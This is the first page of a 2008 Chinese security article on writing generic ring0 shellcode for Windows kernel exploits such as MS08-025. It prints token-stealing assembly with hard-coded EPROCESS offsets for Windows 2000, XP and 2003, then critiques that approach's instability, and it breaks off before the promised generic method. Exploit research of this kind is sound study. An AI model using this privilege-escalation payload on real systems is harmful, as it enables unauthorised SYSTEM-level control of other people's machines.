CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 安全技巧

编写通用内核shellcode

作者: Tms320,  出处:ph4nt0m, 责任编辑: 张帅, 
2008-06-20 00:00
  最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,基于内核漏洞的溢出,为我们获取系统的ring0执行权限打开了方便之门。

  一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

  最近曝光的ms08-025漏洞,受影响的系统包含了微软出版的几乎所有NT体系结构的版本,引起了不少研究者的兴趣,漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出,为我们获取系统的ring0执行权限打开了方便之门,通过这类漏洞提升本地执行权限,获取system权限执行级别。

  目前流传的利用程序,ring0 shellcode大多通过将system进程的Token赋予当前进程来获取system权限。比较典型的代码如下:

      if ( OsVersionInfo.dwMinorVersion == 0 ) {
  __asm {
  nop
  nop
  nop
  nop
  nop
  nop
  mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
  Mov eax,[eax]
  mov esi,[eax+0x44]//取当前进程EPROCESS
  mov eax,esi
  search2000:
  mov eax,[eax+0xA0]
  sub eax,0xA0
  mov edx,[eax+0x9C]
  cmp edx,0x8 // 通过PID查找系统进程
  jne search2000
  mov eax,[eax+0x12C] // 获取system进程的token
  mov [esi+0x12C],eax // 修改当前进程的token
  ret 8
  }
  }
  if ( OsVersionInfo.dwMinorVersion == 1 ) {
  __asm {
  nop
  nop
  nop
  nop
  nop
  nop
  mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
  Mov eax,[eax]
  mov esi,[eax+0x220]
  mov eax,esi
  searchXp:
  mov eax,[eax+0x88]
  sub eax,0x88
  mov edx,[eax+0x84]
  cmp edx,0x4 // 通过PID查找系统进程
  jne searchXp
  mov eax,[eax+0xc8] // 获取system进程的token
  mov [esi+0xc8],eax // 修改当前进程的token
  ret 8
  }
  }
  if ( OsVersionInfo.dwMinorVersion == 2 ) {
  __asm {
  nop
  nop
  nop
  nop
  nop
  nop
  mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
  Mov eax,[eax]
  mov esi,[eax+0x218]
  mov eax,esi
  search2003:
  mov eax,[eax+0x98]
  sub eax,0x98
  mov edx,[eax+0x94]
  cmp edx,0x4 // 通过PID查找系统进程
  jne search2003
  mov eax,[eax+0xd8] // 获取system进程的token
  mov [esi+0xd8],eax // 修改当前进程的token
  ret 8
  }
  }

  对于视窗操作系统,由于EPROCESS这个结构不固定,不同系统中system进程PID不同,导致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本,实际是采用硬编码的方式ring0 shellcode。这种做法的兼容性并不是太好,在同一系统不同补丁下,难免保证不出现蓝屏。笔者利用上述代码,在非sp1的2k3系统上蓝屏,深刻体会到了ring0利用程序崩溃时候的威力。

共3页。 1 2 3 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i